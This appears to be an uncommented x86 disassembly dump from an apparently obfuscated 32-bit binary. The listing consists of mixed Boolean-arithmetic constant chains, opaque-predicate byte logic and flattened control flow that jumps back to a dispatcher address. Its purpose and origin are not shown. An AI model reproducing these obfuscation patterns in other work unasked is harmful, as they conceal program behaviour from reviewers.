and edi, 0x3aa9b0ad
or edi, ecx
xor edi, edx
xor eax, 0x62a209e3
mov edx, dword [esp]
xor edx, 0x67fd6a1d
and edx, ebx
or ebx, 0x55fdc9cb
not esi
or esi, edi
mov ecx, ebx
and ecx, 0x80b96b08
mov edi, dword [esp + 0x18]
or eax, edi
and edi, 0x2a021434
or edi, ecx
mov ecx, edx
not ecx
or ebx, ecx
and ecx, 0x80b96b08
and edx, 0x7f4694f7
or edx, ecx
mov ecx, ebp
xor ecx, 0xa3483870
mov dword [esp + 0x18], ecx
xor edx, edi
not ebx
or ebx, edx
xor ebx, esi
mov esi, ebx
not esi
mov ecx, esi
and ecx, 0x419930d2
and ebx, 0xbe66cf2d
or ebx, ecx
xor ebx, eax
xor ebx, 0xbe66cf2d
or esi, eax
not esi
or esi, ebx
mov eax, esi
not eax
mov ecx, esi
or ecx, 0x12005629
mov edx, eax
or edx, 0x8165a1d4
and ecx, 0x9365f7fd
and eax, 0x48900002
or eax, ecx
and edx, 0x9365f7fd
and esi, 0x240a0800
or esi, edx
xor esi, eax
mov eax, esi
xor eax, 0x360a5e29
xor esi, 0x1612180
and eax, 0xde948656
and esi, 0x216b79a9
or esi, eax
mov ecx, esi
xor ecx, 0x4a048212
xor esi, 0x20006081
and esi, 0xb49064c5
and ecx, 0x4b6f9b3a
or ecx, esi
mov eax, ebp
xor eax, 0x5cb7c78f
mov dword [esp], eax
xor ebp, 0x16769c2a
mov esi, ebp
and esi, eax
and ebp, dword [esp + 0x18]
mov edi, esi
not edi
mov eax, edi
and eax, 0xc61f9946
and esi, 0x39e066b9
or esi, eax
mov eax, ebp
not eax
or edi, eax
and eax, 0xc61f9946
and ebp, 0x39e066b9
or ebp, eax
mov ebx, ecx
xor ebp, esi
mov esi, ecx
xor esi, 0xb49064c5
xor ecx, 0xfe513f60
not edi
or edi, ebp
mov eax, ecx
and eax, esi
mov ebp, eax
not ebp
mov edx, ebp
and edx, 0x53536ee1
and eax, 0xacac911e
or eax, edx
xor ebx, 0x4b6f9b3a
and ecx, ebx
mov edx, ecx
not edx
or ebp, edx
and edx, 0x53536ee1
and ecx, 0xacac911e
or ecx, edx
xor ecx, eax
not ebp
or ebp, ecx
mov ecx, ebp
xor ecx, ebp
not ecx
and ecx, edi
xor ecx, ebp
mov edi, dword [esp + 0x18]
mov eax, edi
and eax, 0xd8ba70df
mov edx, dword [esp]
and edx, 0x27458f20
or edx, eax
or edi, ebx
and ebx, 0xd8ba70df
and esi, 0x27458f20
or esi, ebx
xor esi, edx
not edi
or edi, esi
mov esi, edi
not esi
mov eax, ecx
not eax
mov edx, eax
and edx, 0x57fda1c2
and ecx, 0xa8025e3d
or ecx, edx
or eax, edi
and edi, 0x57fda1c2
and esi, 0xa8025e3d
or esi, edi
xor esi, ecx
not eax
or eax, esi
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xc9fdaf13
mov edi, eax
and edi, 0x360250ec
or edi, edx
mov edx, edi
xor edx, 0x638f5cd7
xor edi, 0x360250ec
and edi, edx
and ecx, 0x7a4e999a
and eax, 0x85b16665
or eax, ecx
mov ecx, eax
xor ecx, 0x85b16665
xor eax, 0x70420982
and eax, 0xf1e26de7
mov edx, ecx
and edx, 0xe1d9218
or edx, eax
xor edx, 0x5b909e23
and ecx, 0xaa72f3c4
or ecx, edx
mov edx, edi
xor edx, 0x707421f2
mov esi, edx
and edx, edi
mov eax, edi
not eax
and esi, eax
mov edi, ecx
or eax, ecx
not ecx
and edi, 0x707421f2
and ecx, 0x8f8bde0d
or ecx, edi
mov edi, esi
not edi
mov ebx, edx
not ebx
mov ebp, edi
and ebp, 0x9b55d6ed
and esi, 0x64aa2912
or esi, ebp
or edi, ebx
and ebx, 0x9b55d6ed
and edx, 0x64aa2912
or edx, ebx
xor edx, esi
not edi
or edi, edx
mov edx, ecx
xor edx, ecx
not edx
and edx, edi
xor edx, ecx
not eax
or eax, edx
mov ecx, eax
not ecx
mov edx, ecx
or edx, 0x40050039
mov esi, eax
or esi, 0xa2705000
and esi, 0xe2755039
and ecx, 0x15880c02
or ecx, esi
and edx, 0xe2755039
and eax, 0x802a3c4
or eax, edx
xor eax, ecx
mov edx, eax
not edx
mov ecx, eax
xor ecx, 0xef7035dd
and edx, ecx
and ecx, eax
mov eax, edx
not eax
mov esi, ecx
not esi
mov edi, eax
and edi, 0x87fc8328
and edx, 0x78037cd7
or edx, edi
or eax, esi
and esi, 0x87fc8328
and ecx, 0x78037cd7
or ecx, esi
xor ecx, edx
not eax
or eax, ecx
mov edx, eax
xor edx, 0xac5005d1
xor eax, 0x100f8222
and eax, 0x532fb22e
and edx, 0xacd04dd1
or edx, eax
mov esi, edx
xor esi, 0x532fb22e
xor edx, 0xacd04dd1
mov eax, esi
and eax, 0x3b090500
mov edi, edx
and edi, 0xc4f6faff
or edi, eax
mov ecx, edi
xor ecx, 0x800018b1
xor edi, 0x20080000
and edi, 0x209e0048
and ecx, 0x910018b1
or ecx, edi
mov eax, ecx
xor eax, 0x910018b1
xor ecx, 0x6effe74e
and edx, 0x35dd090a
and esi, 0xca22f6f5
or esi, edx
mov edx, esi
xor edx, 0xca22f6f5
xor esi, 0x205c0008
and esi, 0x285c4248
mov edi, edx
and edi, 0xd7a3bdb7
or edi, esi
xor edi, 0x99c25ab1
and edx, 0xb19e18f9
or edx, edi
mov ebx, edx
not ebx
mov esi, edx
and esi, 0xfe6abd0f
xor edx, 0xfa463c38
and edx, ebx
and ebx, 0x19542f0
or ebx, esi
mov esi, ebx
xor esi, 0x19542f0
mov edi, ecx
and edi, 0x5b9c3c7
mov ebp, eax
and ebp, 0xb0061838
or ebp, edi
mov edi, ebx
xor edi, 0xfbd37ec8
and edi, esi
or edx, edi
mov edi, edx
xor edi, edx
not edi
and edi, ebp
xor edi, edx
mov edx, eax
and edx, 0x910000b9
and ecx, 0x6cde9844
or ecx, edx
xor ebx, 0xfe6abd0f
or eax, ebx
and ebx, 0x932167bb
and esi, 0x6cde9844
or esi, ebx
xor esi, ecx
not eax
or eax, esi
not eax
or eax, edi
mov ecx, eax
mov edx, eax
xor edx, 0x8e85f310
and edx, eax
not eax
or ecx, 0x717a0cef
mov esi, edx
not esi
mov edi, ecx
and edi, 0xa86ce020
and eax, 0x6811310
or eax, edi
or ecx, esi
and esi, 0xa86ce020
and edx, 0x57931fdf
or edx, esi
xor edx, eax
not ecx
or ecx, edx
mov eax, ecx
xor eax, 0xc0e41416
xor ecx, 0x3f1bebe9
mov edx, ecx
and edx, eax
mov esi, edx
not esi
mov edi, eax
and edi, 0xbe362112
and ecx, 0x41c9deed
or ecx, edi
or eax, esi
and esi, 0xbe362112
and edx, 0x41c9deed
or edx, esi
xor edx, ecx
not eax
or eax, edx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xb900810d
mov esi, eax
and esi, 0x46080800
or esi, edx
mov edx, esi
xor edx, 0x42000800
xor esi, 0x318375df
or ecx, 0x3508010d
and esi, 0x358b75df
and edx, 0xca008800
or edx, esi
and ecx, 0x358b75df
and eax, 0x740220
or eax, ecx
xor eax, edx
xor eax, 0xf20a10d2
xor eax, 0xf2fd6620
sete ch
setne bl
cmp dword [0x10047904], 0xa
setge ah
setl al
mov byte [esp], al
mov cl, bl
xor cl, al
or bl, al
mov al, bl
xor al, 1
mov byte [esp + 0x18], al
mov edx, ecx
or dl, al
mov al, dl
xor al, dl
mov bh, ch
xor bh, ah
mov dh, ah
mov byte [esp + 4], ah
mov ah, bh
and bh, ch
or ch, dh
mov dh, ch
xor dh, 1
or ah, dh
not al
and al, ah
xor al, dl
or dl, ah
xor al, 1
mov ah, dl
xor ah, al
or al, dl
xor al, 1
or al, ah
mov ah, byte [esp + 4]
and cl, ah
or cl, bh
mov dl, cl
xor dl, 1
mov bh, byte [esp]
and bh, dl
and cl, ah
or cl, bh
xor cl, 1
or cl, dl
mov dl, cl
xor dl, 1
mov bh, byte [esp + 0x18]
mov ah, bh
and ah, bl
xor ah, 1
or ah, bl
xor ah, 1
or ah, bh
xor ah, dh
or ch, bl
xor ch, 1
or ch, ah
xor ch, 1
mov ah, cl
or ah, ch
and cl, dl
xor cl, 1
mov dh, dl
xor dh, cl
or cl, dl
xor cl, 1
or cl, dh
xor cl, ch
mov edx, ecx
and cl, ah
xor ah, 1
xor dl, 1
mov ch, ah
xor ch, dl
and ch, ah
and dl, ah
or dl, cl
xor ch, 1
xor dl, 1
mov cl, ch
xor cl, dl
or dl, ch
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, 1
and cl, dl
xor cl, 1
mov ah, dl
xor ah, cl
or cl, dl
xor cl, 1
or cl, ah
mov edx, ecx
xor dl, 1
and cl, dl
xor cl, 1
mov ah, cl
xor ah, dl
or cl, dl
xor cl, 1
or cl, ah
mov edx, eax
xor dl, 1
mov ebx, edx
and bl, al
xor dl, bl
xor bl, 1
mov bh, al
or bh, bl
xor bh, 1
or dl, bh
mov byte [esp + 0x18], dl
mov ah, dl
xor ah, 1
mov dh, ah
and dh, dl
xor dh, 1
or dh, dl
mov dl, dh
xor dl, 1
and dh, dl
xor dh, 1
mov ch, dl
xor ch, dh
or dh, dl
xor dh, 1
or dh, ch
xor bl, al
or bl, bh
mov bh, dl
xor bh, al
and al, bh
and bh, dl
xor al, 1
xor bh, 1
mov ch, al
xor ch, bh
or bh, al
mov al, dh
xor al, 1
xor bh, 1
or bh, ch
mov ch, al
and ch, bl
xor bl, 1
and dh, bl
or dh, ch
or bl, al
xor dh, 1
mov al, dh
xor al, bl
or dh, bl
xor dh, 1
or dh, al
xor dh, 1
or dh, bh
mov bl, dh
xor bl, 1
and dh, bl
mov ch, dh
xor ch, 1
mov al, dh
and al, ch
xor al, 1
or al, ch
xor al, 1
or al, dh
xor al, bl
mov dh, al
or al, cl
or dl, ah
mov ch, dl
xor ch, 1
and ch, cl
mov bl, ah
xor bl, cl
or ah, cl
xor cl, 1
xor dh, 1
or dh, cl
xor dh, 1
xor al, 1
or al, dh
mov dh, byte [esp + 0x18]
xor dh, cl
and dl, cl
or dl, ch
xor ah, 1
or ah, bl
mov ch, dh
xor ch, 1
xor ah, 1
or ah, dl
mov cl, ah
xor cl, 1
and dh, ah
and cl, ch
or cl, dh
or ah, ch
xor cl, 1
mov edx, ecx
xor dl, ah
or cl, ah
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
and cl, dl
xor cl, 1
mov ah, cl
xor ah, dl
or cl, dl
xor cl, 1
or cl, ah
mov edx, eax
xor dl, 1
mov ch, dl
xor ch, cl
xor cl, 1
mov ah, cl
xor ah, al
or al, cl
xor al, 1
or al, ch
and ah, cl
or cl, dl
xor al, 1
xor cl, 1
or cl, ah
xor cl, al
mov edx, ecx
not dl
and dl, al
test cl, 1
mov eax, 0xf905f09e
mov esi, 0x879e040c
cmovne eax, esi
test dl, 1
cmovne eax, esi
test cl, 1
mov edi, eax
cmovne edi, esi
test dl, 1
cmove edi, eax
mov dword [esp + 0x18], 1
jmp 0x10008b80
cmp edi, 0x4f173a0b
je 0x10023ee1
cmp edi, 0x4f2567c7
jne 0x10008b80
mov edi, 0x4f173a0b
jmp 0x10008b80
cmp edi, 0xb209d977
je 0x1002481a
cmp edi, 0xb2220245
jne 0x10008b80
mov eax, dword [0x10047900]
lea ecx, [eax + 1]
imul ecx, eax
mov esi, ecx
not esi
mov eax, ecx
mov edx, ecx
mov dword [esp + 8], ecx
and eax, 0x68358b2b
mov ecx, esi
and ecx, 0xda227f2c
and edx, 0x25dd80d3
or edx, ecx
xor edx, 0x25dd80d3
mov edi, edx
mov ebx, esi
mov dword [esp + 4], esi
xor edi, esi
and ebx, 0x97ca74d4
or ebx, eax
mov ecx, ebx
xor ecx, 0x5c85480
xor ebx, 0x68358b2b
and edi, edx
and ecx, 0x6dfd54a3
mov edx, ebx
and edx, 0x9202ab5c
or edx, ecx
mov dword [esp + 0xc], edx
mov ecx, edx
xor ecx, 0x9202ab5c
mov dword [esp], ecx
xor edx, 0x5b979164
and edx, ecx
and ebx, 0xc9953a38
or ebx, edx
mov ecx, edi
not ecx
mov edx, edi
or edx, 0xc9953a38
mov ebp, edx
and ebp, 0xd08d65ac
mov esi, ecx
and esi, 0x26628043
or esi, ebp
mov ebp, edi
xor ebp, 0x366ac5c7
and ebp, edi
mov eax, ebp
not eax
or edx, eax
and eax, 0xd08d65ac
and ebp, 0x2f729a53
or ebp, eax
xor ebp, esi
not edx
or edx, ebp
xor edx, ebx
mov esi, dword [esp + 0xc]
xor esi, 0x6dfd54a3
mov eax, esi
and eax, 0xa5c227cd
mov ebx, dword [esp]
and ebx, 0x5a3dd832
or ebx, eax
mov eax, ebx
or esi, edi
and edi, 0xa5c227cd
and ecx, 0x5a3dd832
or ecx, edi
mov edi, dword [esp + 4]
xor ecx, eax
not esi
or esi, ecx
mov eax, edx
not eax
mov ecx, eax
and ecx, 0xa29642dc
and edx, 0x5d69bd23
or edx, ecx
mov ecx, esi
not ecx
or eax, esi
and esi, 0xa29642dc
and ecx, 0x5d69bd23
or ecx, esi
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xff7c622a
and ecx, 0x839dd5
or ecx, eax
mov eax, ecx
xor eax, 0x810100
and eax, 0xcca12120
xor ecx, 0x204d0
and ecx, 0x10604d0
or ecx, eax
mov eax, ecx
xor eax, 0xc4212580
or eax, 0x2588804
and ecx, 0x89a62570
and eax, 0x46598884
or eax, ecx
mov ecx, dword [esp + 8]
mov edx, ecx
xor edx, 0x50b5a766
and edx, ecx
or ecx, 0xaf4a5899
mov esi, ecx
and esi, 0x8c489030
and edi, 0x50b52746
or edi, esi
mov esi, edx
not esi
or ecx, esi
and esi, 0x8c489030
and edx, 0x73b76fcf
or edx, esi
xor edx, edi
not ecx
or ecx, edx
mov ebp, ecx
xor ebp, 0xaf4a5899
xor ecx, 0x1021a542
mov esi, ebp
and esi, 0xcda725f0
and ecx, 0x3121e542
and ebp, 0xcede1abd
or ebp, ecx
xor ebp, 0xfc86c0b2
or ebp, esi
mov esi, ebp
mov ecx, ebp
xor ecx, 0x16823303
and ecx, ebp
or ebp, 0xe97dccfc
not esi
mov edi, ebp
and edi, 0x3b68b5eb
and esi, 0x4820200
or esi, edi
mov edi, ecx
not edi
or ebp, edi
and edi, 0x3b68b5eb
and ecx, 0xc4974a14
or ecx, edi
mov edi, eax
xor edi, 0x46598884
xor ecx, esi
not ebp
or ebp, ecx
mov ecx, ebp
xor ecx, 0x49494ca0
xor ebp, 0x16823303
mov esi, ebp
and esi, 0xa0b6a25e
and ecx, 0x5f495da1
or ecx, esi
xor ecx, 0xa0b6a25e
xor ebp, ecx
and ebp, ecx
xor eax, 0xb9a6777b
mov ebx, edi
mov ecx, eax
and ecx, 0x9812510
and edi, 0xc42600e0
or edi, ecx
not edi
or edi, eax
mov dword [esp + 0x10], edi
and eax, 0x15420f4
and ebx, 0xcca30500
or ebx, eax
mov eax, ebx
xor eax, 0xfeabdf0b
mov dword [esp], eax
xor ebx, 0x15420f4
and eax, 0xde894700
mov esi, ebx
and esi, 0x17620f4
or esi, eax
xor esi, 0x18ef87e4
mov eax, ebx
and eax, 0xc46600e4
or eax, esi
mov dword [esp + 0x30], eax
mov esi, ebp
not esi
mov eax, esi
and eax, 0x39993713
mov ecx, ebp
and ecx, 0xc666c8ec
or ecx, eax
and ebx, 0x851121e0
mov edx, dword [esp]
and edx, 0x48e69c17
or edx, ebx
mov eax, ebp
and ebp, 0xbb951cc2
mov edi, ecx
xor edi, esi
mov ebx, edx
xor ebx, 0x48e69c17
xor edx, 0x45861416
and edx, ebx
mov dword [esp + 0x1c], edx
or ebx, eax
mov dword [esp + 0x14], ebx
mov dword [esp + 0x20], eax
xor eax, 0x1f688a01
and eax, esi
mov dword [esp + 0x24], eax
and esi, 0x446ae33d
or esi, ebp
mov edx, esi
xor edx, 0x446ae33d
xor esi, 0x28900080
and esi, 0x28fac089
mov ebp, edx
and ebp, 0xd7053f76
or ebp, esi
xor ebp, 0xee9c0865
and edx, 0xc666c8ec
or edx, ebp
and edi, ecx
mov dword [esp + 0xc], edi
mov ecx, dword [esp + 0x30]
mov ebp, ecx
xor ebp, 0x5a805554
or ecx, 0x808
xor ebp, ecx
xor ebp, 0xa57fa2a3
mov eax, dword [esp + 0x10]
and ebp, eax
xor ebp, ecx
or ecx, eax
not ecx
or ebp, ecx
mov eax, edx
not eax
and edx, 0x4d601015
mov ecx, eax
and ecx, 0xb29fefea
or ecx, edx
mov edx, ecx
xor edx, 0xb29fefea
mov esi, ecx
xor esi, 0x85484bb
and esi, edx
and eax, 0xbacb6b51
or eax, esi
mov esi, edi
not esi
xor edi, 0x453494ae
and edi, esi
mov ebx, dword [esp + 0xc]
and ebx, 0xbacb6b51
or ebx, edi
mov edi, ebx
xor edi, ebx
not edi
and edi, eax
xor edi, ebx
xor ecx, 0x4d601015
mov eax, ecx
and eax, 0xbf23a4a4
and edx, 0x40dc5b5b
or edx, eax
mov eax, dword [esp + 0xc]
or ecx, eax
and eax, 0xbf23a4a4
and esi, 0x40dc5b5b
or esi, eax
xor esi, edx
not ecx
or ecx, esi
mov eax, edi
not eax
mov edx, eax
and edx, 0x387cefbb
and edi, 0xc7831044
or edi, edx
mov edx, ecx
not edx
or eax, ecx
and ecx, 0x387cefbb
and edx, 0xc7831044
or edx, ecx
xor edx, edi
not eax
or eax, edx
mov ecx, eax
not ecx
mov edx, ecx
and ecx, 0x258bddc
and eax, 0xfda74223
or eax, ecx
or edx, ebp
not ebp
xor eax, 0x258bddc
or eax, ebp
mov ecx, edx
xor ecx, eax
or eax, edx
not eax
or eax, ecx
mov ecx, dword [esp]
and ecx, 0x1f688a01
or ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x20]
and edx, 0xe09775fe
mov esi, dword [esp + 0x24]
or esi, edx
mov edx, esi
xor edx, esi
not edx
and edx, ecx
xor edx, esi
mov ecx, edx
not ecx
mov esi, ecx
and esi, 0x2e056c15
and edx, 0xd1fa93ea
or edx, esi
mov esi, dword [esp + 0x14]
xor edx, esi
xor edx, 0xd1fa93ea
or ecx, esi
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0xad69fea9
and ecx, 0x52960156
or ecx, edx
mov edx, ecx
xor edx, 0x42020144
xor ecx, 0xad69fea9
mov esi, eax
xor esi, ecx
and esi, eax
and ecx, 0x989d9692
and edx, 0x6762696d
or edx, ecx
xor edx, eax
xor edx, 0x989d9692
or edx, esi
mov eax, edx
not eax
mov ecx, eax
and ecx, 0x2e6c44f2
and edx, 0xd193bb0d
or edx, ecx
mov ecx, edx
xor ecx, 0x11919804
xor edx, 0x244092
and edx, 0xc026639b
and ecx, 0x3fd99c64
or ecx, edx
mov edx, ecx
xor edx, 0x420a
xor ecx, 0xd810460
and ecx, 0xcda725f1
and edx, 0x3258da0e
or edx, ecx
mov ecx, edx
xor ecx, 0xcda725f1
and ecx, edx
or eax, 0x3258da0e
mov edx, ecx
not edx
xor ecx, edx
and ecx, eax
xor ecx, edx
or edx, eax
mov eax, ecx
not eax
mov esi, eax
and esi, 0x3685f159
and ecx, 0xc97a0ea6
or ecx, esi
or eax, edx
and edx, 0xffa7f5f9
xor edx, ecx
xor edx, 0xc92204a0
not eax
or eax, edx
mov ecx, eax
not ecx
mov esi, ecx
and esi, 0xaf35eb24
mov edx, eax
and edx, 0x50ca14db
or edx, esi
mov edi, edx
xor edi, 0xc00042
xor edx, 0xaf35eb24
mov esi, edx
and esi, 0xd41a55bd
and edi, 0x2be5aa42
or edi, esi
mov esi, ecx
and esi, eax
mov ebx, esi
not ebx
or edx, ebx
and ebx, 0xd41a55bd
and esi, 0x2be5aa42
or esi, ebx
xor esi, edi
mov ebp, dword [esp + 4]
mov edi, ebp
not edx
or edx, esi
mov esi, ecx
and esi, 0xba067ec8
and eax, 0x45f98137
or eax, esi
xor eax, 0x45f98137
xor ecx, eax
and ecx, eax
mov eax, edx
not eax
and eax, ecx
not ecx
mov ebx, edx
xor ebx, ecx
and ebx, edx
and ecx, edx
or ecx, eax
mov edx, ebx
not edx
mov eax, edx
and eax, 0x8fa9e44d
and ebx, 0x70561bb2
or ebx, eax
mov eax, ecx
not eax
or edx, eax
mov dword [esp], edx
and eax, 0x8fa9e44d
and ecx, 0x70561bb2
or ecx, eax
mov edx, dword [esp + 8]
mov esi, edx
xor esi, 0x7d5072b6
and esi, edx
and edi, 0xf894a52
mov eax, edx
and edx, 0xf076b5ad
or edx, edi
not edx
mov edi, ebp
or edx, ebp
xor ecx, ebx
mov ebx, dword [esp]
not ebx
or ebx, ecx
mov ebp, ebx
and edi, 0x75405010
and eax, 0x81022a6
or eax, edi
mov ecx, eax
xor ecx, 0x8002202
xor eax, 0xf7efdd59
mov edi, esi
not edi
mov ebx, eax
and ebx, 0x76d0c4ac
and ecx, 0x9003212
or ecx, ebx
or eax, edi
and edi, 0x76d0c4ac
and esi, 0x892f3b53
or esi, edi
xor esi, ecx
not eax
or eax, esi
mov ecx, eax
and ecx, 0xb010812
xor eax, 0x880040
xor ecx, 0x9000012
and eax, 0x4884240
or eax, ecx
mov ecx, eax
xor ecx, 0xb010802
xor eax, 0xf4fef7ed
mov esi, eax
or esi, edx
and eax, 0x64a442b5
and ecx, 0xb090842
or ecx, eax
xor ecx, edx
mov eax, ecx
xor eax, 0x9b5bbd4a
xor ecx, 0x64a442b5
mov edi, ecx
and edi, 0xd0a72e8f
and eax, 0x2f58d170
or eax, edi
or ecx, esi
and esi, 0xdfaf6edf
xor esi, eax
xor esi, 0xf084050
not ecx
or ecx, esi
mov eax, ecx
not eax
mov esi, eax
and esi, 0xa5173dd9
mov edi, ecx
and edi, 0x5ae8c226
or edi, esi
mov esi, edi
xor esi, 0x8404006
xor edi, 0xa5102800
or eax, 0xa7b82820
or edi, 0x10018410
and edi, 0xb7b9ac30
and esi, 0x84050c7
or esi, edi
and eax, 0xb7b9ac30
and ecx, 0x40060308
or ecx, eax
xor ecx, esi
mov dword [esp], ebp
mov edx, ebp
not edx
mov eax, edx
mov dword [esp + 0x14], edx
and eax, 0x5e62d686
mov esi, ebp
and esi, 0xa19d2979
or esi, eax
xor esi, 0xa19d2979
mov eax, edx
and eax, ebp
or eax, esi
mov dword [esp + 8], eax
mov edx, eax
not edx
mov dword [esp + 0xc], edx
and eax, 0x11c3c068
mov edi, edx
and edi, 0xee3c3f97
or edi, eax
xor edi, 0x88cdde93
and edx, 0x990e1efb
or edx, edi
mov eax, ecx
xor eax, 0x5f8ecd4a
xor ecx, 0xa07132b5
mov edi, eax
mov ebx, eax
mov dword [esp + 0x10], eax
or edi, 0x19000209
mov eax, ecx
and eax, 0x40b0c000
and edi, 0x3f41230d
or edi, eax
mov eax, ecx
and eax, 0x66f1e104
and ebx, 0x990e1efb
or ebx, eax
mov ebp, ebx
xor ebp, ecx
and ebp, ebx
mov ebx, edx
xor ebx, 0x80a1bb26
and ebx, edx
mov esi, edx
mov dword [esp + 4], edx
mov eax, ebx
not eax
mov edx, eax
and edx, 0x27ac2614
and ebx, 0xd853d9eb
or ebx, edx
mov edx, esi
or edx, 0x7f5e44d9
mov esi, dword [esp + 4]
not esi
or eax, edx
and edx, 0x27ac2614
and esi, 0x80019922
or esi, edx
xor esi, ebx
not eax
or eax, esi
mov esi, dword [esp + 0x14]
mov ebx, esi
or ebx, 0x66f1e104
mov edx, dword [esp]
or edx, 0x80001800
and edx, 0x98001c91
or dword [esp + 4], ebx
and ebx, 0x15e4048
or ebx, edx
or esi, 0x3c000491
and esi, 0xbc001c91
mov edx, dword [esp]
and edx, 0x222
or edx, esi
xor edx, ebx
xor edx, eax
xor edx, 0x42000000
mov esi, dword [esp + 4]
not esi
or esi, edx
mov eax, edi
xor eax, 0x3f41230d
xor edi, 0x820072
mov ebx, ebp
not ebx
mov edx, eax
xor edx, ebx
and edx, eax
and edi, 0x11c22173
and eax, 0x6631c004
or eax, edi
and ebx, 0x11c22173
and ebp, 0xee3dde8c
or ebp, ebx
xor ebp, eax
or ebp, edx
mov eax, esi
not eax
mov edx, eax
and edx, 0x8e32571b
xor eax, ebp
not eax
and eax, esi
and esi, 0x71cda8e4
or esi, edx
xor esi, ebp
xor esi, 0x8e32571b
and esi, ebp
mov edx, esi
not edx
mov edi, edx
and edi, 0x32c41454
and esi, 0xcd3bebab
or esi, edi
mov edi, eax
not edi
or edx, edi
and edi, 0x32c41454
and eax, 0xcd3bebab
or eax, edi
xor eax, esi
not edx
or edx, eax
mov eax, dword [esp + 8]
mov esi, eax
mov ebx, dword [esp + 0x10]
xor esi, ebx
and esi, eax
mov edi, dword [esp + 0xc]
and edi, 0xc6b0abcc
and eax, 0x394f5433
or eax, edi
and ebx, 0xc6b0abcc
and ecx, 0x394f5433
or ecx, ebx
xor ecx, eax
mov eax, esi
not eax
mov edi, ecx
not edi
mov ebx, eax
and ebx, 0x200fb95e
and esi, 0xdff046a1
or esi, ebx
or eax, edi
and edi, 0x200fb95e
and ecx, 0xdff046a1
or ecx, edi
xor ecx, esi
not eax
or eax, ecx
mov ecx, eax
not ecx
mov esi, ecx
and esi, 0x6ac5e9a1
and ecx, eax
and eax, 0x953a165e
or eax, esi
mov esi, eax
xor esi, 0x8402144a
xor eax, 0x6ac5e9a1
mov edi, ecx
not edi
mov ebx, eax
and ebx, 0x1bbd2a94
and esi, 0xe442d56b
or esi, ebx
or eax, edi
and edi, 0x1bbd2a94
and ecx, 0xe442d56b
or ecx, edi
xor ecx, esi
not eax
or eax, ecx
mov esi, edx
xor esi, 0xa7dcc224
mov ebx, esi
and esi, edx
not edx
and ebx, edx
mov ecx, ebx
not ecx
mov edi, ecx
and edi, 0xd2dab77e
and ebx, 0x2d254881
or ebx, edi
mov edi, esi
not edi
or ecx, edi
and edi, 0xd2dab77e
and esi, 0x2d254881
or esi, edi
mov edi, eax
xor esi, ebx
mov ebx, eax
xor ebx, 0xa7dcc224
and ebx, eax
not eax
or edi, 0x58233ddb
not ecx
or ecx, esi
mov esi, edi
and esi, 0x2ee86a70
or edx, eax
and eax, 0x81148004
or eax, esi
mov esi, ebx
not esi
or edi, esi
and esi, 0x2ee86a70
and ebx, 0xd117958f
or ebx, esi
xor ebx, eax
not edi
or edi, ebx
xor edi, ecx
not edx
or edx, edi
mov eax, edx
not eax
mov ecx, edx
mov esi, edx
xor esi, 0x9b864587
and esi, edx
and edx, 0x5dbf82c5
mov edi, eax
and edi, 0xa2407d3a
or edi, edx
xor edi, 0xa2407d3a
or edi, eax
and eax, 0x89004004
and ecx, 0x12860583
or ecx, eax
xor ecx, 0x12860583
or esi, ecx
mov ecx, esi
xor ecx, 0x24491818
xor esi, 0x1844482
and esi, 0x41b4e6e2
and ecx, 0xbe4b191d
or ecx, esi
mov eax, ecx
xor eax, 0x28031104
xor ecx, 0x40b40282
and ecx, 0xd6fc0a9b
and eax, 0x2903f564
or eax, ecx
mov ecx, eax
xor ecx, 0xd6fc0a9b
xor eax, ecx
xor eax, 0x2903f564
and eax, edi
xor eax, ecx
or ecx, edi
not ecx
or eax, ecx
mov ecx, eax
xor ecx, 0xfcdb7478
and ecx, eax
not eax
and eax, 0xfcdb7478
or eax, ecx
not ecx
and ecx, 0x3248b87
and eax, 0xfcdb7478
or eax, ecx
mov edx, eax
not edx
mov esi, eax
and eax, 0x9c11dbe4
mov ecx, edx
and ecx, 0x63ee241b
or ecx, eax
xor ecx, 0x63ee241b
or ecx, edx
and edx, 0xcaf2e85b
and esi, 0x350d17a4
or esi, edx
xor esi, 0xcaf2e85b
not ecx
or ecx, esi
mov eax, ecx
not eax
and eax, 0x1f674c2b
and ecx, 0xe098b3d4
or ecx, eax
xor ecx, 0xe098b3d4
setne ch
sete cl
cmp dword [0x10047904], 0xa
setge dl
setl ah
mov al, cl
and al, ah
mov dh, dl
and dh, ch
or dh, al
xor dh, 1
or dh, ah
mov ebx, ecx
or bl, dl
mov al, ah
or al, ch
mov bh, al
xor bh, bl
or al, bl
mov bl, dh
xor bl, 1
xor al, 1
or al, bh
mov bh, bl
and bh, dh
xor bh, 1
or bh, dh
xor bh, 1
or bh, bl
mov dh, al
xor dh, 1
and dh, bh
xor bh, 1
and bh, al
or dh, bh
mov bh, bl
xor bh, al
or al, bl
xor al, 1
or al, bh
xor dh, 1
mov bl, dh
xor bl, al
or dh, al
xor dh, 1
or dh, bl
mov al, dh
xor al, 1
mov bl, dh
and bl, al
xor bl, 1
or bl, dh
xor bl, 1
or bl, al
mov al, bl
xor al, 1
and al, bl
xor al, 1
mov dh, bl
xor dh, al
or al, bl
xor al, 1
or al, dh
xor al, 1
mov dh, al
xor dh, bl
or al, bl
xor al, 1
or al, dh
mov dh, ah
xor dh, cl
mov bl, dh
xor bl, 1
and ah, ch
and ch, bl
and dh, cl
or dh, ch
xor dh, 1
or dh, bl
mov ch, dh
xor ch, 1
and cl, dl
or cl, ah
xor cl, 1
or cl, dl
mov dl, dh
and dl, ch
xor dl, 1
or dl, ch
xor dl, 1
or dl, dh
mov ah, dl
xor ah, 1
or ch, cl
and ah, cl
mov ebx, ecx
xor bl, 1
or dh, bl
mov bh, dh
xor bh, ch
or dh, ch
mov ecx, eax
xor cl, 1
xor dh, 1
or dh, bh
mov ch, dl
xor ch, bl
and ch, dl
and dl, bl
or dl, ah
xor ch, 1
xor dl, 1
mov ah, ch
xor ah, dl
or dl, ch
xor dl, 1
or dl, ah
mov ah, dl
xor ah, 1
mov ch, dh
xor ch, 1
and ah, ch
or ch, dl
and dl, dh
or dl, ah
xor dl, 1
mov ah, dl
xor ah, ch
or dl, ch
xor dl, 1
or dl, ah
and al, cl
xor al, 1
mov ah, al
xor ah, cl
or al, cl
xor al, 1
or al, ah
mov ecx, edx
xor cl, 1
mov ah, cl
